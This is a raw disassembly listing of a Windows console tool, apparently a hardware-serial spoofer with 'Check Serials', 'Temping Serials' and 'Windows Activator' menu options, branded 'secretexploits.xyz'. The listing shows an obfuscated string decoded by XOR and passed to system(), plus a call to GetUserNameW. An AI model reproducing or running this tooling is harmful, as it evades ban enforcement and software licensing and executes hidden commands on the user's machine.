lea rcx, [rbp + 0x280]
call fcn.140036980
btr r12d, 0x12
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x290]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x2a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x2a8], rax
movaps xmm0, xmmword [rbp + 0x2a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2f0]
call fcn.140037ee0
bts r12d, 0xf
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x2f0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2290]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x2b0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x2b8], rax
movaps xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2e0]
call fcn.140037ee0
bts r12d, 0xe
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x2c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x2c8], rax
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2d0]
call fcn.140037ee0
bts r12d, 0xd
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x2d0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Check_Serials_n
call fcn.1400373b0
btr r12d, 0xd
lea rcx, [rbp + 0x2d0]
call fcn.140036980
btr r12d, 0xe
lea rcx, [rbp + 0x2e0]
call fcn.140036980
btr r12d, 0xf
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x2f0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x300], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x308], rax
movaps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x350]
call fcn.140037ee0
bts r12d, 0xc
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x350]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b22a8]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x310], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x318], rax
movaps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x340]
call fcn.140037ee0
bts r12d, 0xb
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x340]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x320], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x328], rax
movaps xmm0, xmmword [rbp + 0x320]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x330]
call fcn.140037ee0
bts r12d, 0xa
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x330]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Instructions_n
call fcn.1400373b0
btr r12d, 0xa
lea rcx, [rbp + 0x330]
call fcn.140036980
btr r12d, 0xb
lea rcx, [rbp + 0x340]
call fcn.140036980
btr r12d, 0xc
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x350]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x360], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x368], rax
movaps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3b0]
call fcn.140037ee0
bts r12d, 9
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x3b0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b22c4]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x370], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x378], rax
movaps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3a0]
call fcn.140037ee0
bts r12d, 8
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x3a0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x380], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x388], rax
movaps xmm0, xmmword [rbp + 0x380]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x390]
call fcn.140037ee0
bts r12d, 7
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x390]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Windows_Activator_n
call fcn.1400373b0
btr r12d, 7
lea rcx, [rbp + 0x390]
call fcn.140036980
btr r12d, 8
lea rcx, [rbp + 0x3a0]
call fcn.140036980
btr r12d, 9
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x3b0]
call fcn.140036980
mov dword [rbp + 0xe58], 0x101
lea rdx, [rbp + 0xe58]
lea rcx, [rbp + 0xf70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str.secretexploits.xyz_
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x3c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x3c8], rax
movaps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x3d0]
call fcn.140037ee0
or r12d, 0x40
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x3d0]
mov rcx, rdi
call fcn.140037300
and r12d, 0xffffffbf
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x3d0]
call fcn.140036980
lea rdx, [rbp + 0xf70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400377b0
mov edx, 7
mov rbx, qword [rbp + 0xe20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400b22dc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov edx, 9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400b22e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x1400b22e4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400373b0
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe30], xmm0
mov qword [rbp + 0xe40], 0
mov qword [rbp + 0xe48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe30], 0
lea rdx, [rbp + 0xe30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140037580
lea rcx, [rbp + 0xe30]
mov rdi, qword [rbp + 0xe48]
cmp rdi, 0xf
seta al
mov byte [rbp + 0x40], al
mov r13, qword [rbp + 0xe30]
cmova rcx, r13
mov rbx, qword [rbp + 0xe40]
cmp rbx, 1
jne 0x14002fc1c
mov r8, rbx
lea rdx, [0x1400b2240]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002fc18
lea edx, [rbx + 6]
mov rcx, qword [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [str.U_K9]
mov dword [rbp + 0xe28], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14002f6f3
cmp esi, 2
jl 0x14002f6ad
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x14002f6f3
lea r9, [rbp + 0xe28]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14002f6c0
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x3e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x3e8], rax
movaps xmm0, xmmword [rbp + 0x3e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x430]
call fcn.140037ee0
or r15d, 2
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x430]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x3f0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x3f8], rax
movaps xmm0, xmmword [rbp + 0x3f0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x420]
call fcn.140037ee0
or r15d, 4
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x420]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x400], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x408], rax
movaps xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x410]
call fcn.140037ee0
or r15d, 8
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x410]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Serials_..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
and r15d, 0xfffffff7
lea rcx, [rbp + 0x410]
call fcn.140036980
and r15d, 0xfffffffb
lea rcx, [rbp + 0x420]
call fcn.140036980
and r15d, 0xfffffffd
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x430]
call fcn.140036980
call fcn.140003080
mov ecx, 0x708
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x440], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x448], rax
movaps xmm0, xmmword [rbp + 0x440]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x490]
call fcn.140037ee0
bts r12d, 0x1e
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x490]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x450], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x458], rax
movaps xmm0, xmmword [rbp + 0x450]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x480]
call fcn.140037ee0
or r12d, 0x80000000
mov dword [rsp + 0x58], r12d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x480]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x460], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x468], rax
movaps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x470]
call fcn.140037ee0
or r15d, 1
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x470]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Successfully__Going_back_to_menu..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
and r15d, 0xfffffffe
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x470]
call fcn.140036980
btr r12d, 0x1f
lea rcx, [rbp + 0x480]
call fcn.140036980
btr r12d, 0x1e
mov dword [rsp + 0x58], r12d
lea rcx, [rbp + 0x490]
call fcn.140036980
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rax, qword [rbp + 0xe48]
cmp rax, 0xf
jbe 0x14002fbf9
lea rdx, [rax + 1]
cmp rdx, 0x1000
mov rax, r13
jb 0x14002fbf1
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036885
mov rcx, r13
call fcn.14009bb5c
xor ebx, ebx
mov qword [rbp + 0xe40], rbx
mov qword [rbp + 0xe48], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xe30], bl
jmp 0x14002d890
movzx eax, byte [rbp + 0x40]
lea rcx, [rbp + 0xe30]
test al, al
cmovne rcx, r13
cmp rbx, 1
jne 0x1400301fa
mov r8, rbx
lea rdx, [0x1400b2250]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400301fa
lea edx, [rbx + 6]
mov rcx, qword [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [str.U_K9]
mov dword [rbp + 0xe28], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14002fd43
cmp esi, 2
jl 0x14002fd00
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x14002fd43
lea r9, [rbp + 0xe28]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14002fd10
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x4a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x4a8], rax
movaps xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4f0]
call fcn.140037ee0
or r15d, 0x10
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x4f0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x4b0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x4b8], rax
movaps xmm0, xmmword [rbp + 0x4b0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4e0]
call fcn.140037ee0
or r15d, 0x20
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x4e0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x4c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x4c8], rax
movaps xmm0, xmmword [rbp + 0x4c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4d0]
call fcn.140037ee0
or r15d, 0x40
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x4d0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Serials_..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
and r15d, 0xffffffbf
lea rcx, [rbp + 0x4d0]
call fcn.140036980
and r15d, 0xffffffdf
lea rcx, [rbp + 0x4e0]
call fcn.140036980
and r15d, 0xffffffef
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x4f0]
call fcn.140036980
call fcn.14000cef0
mov ecx, 0x708
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x500], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x508], rax
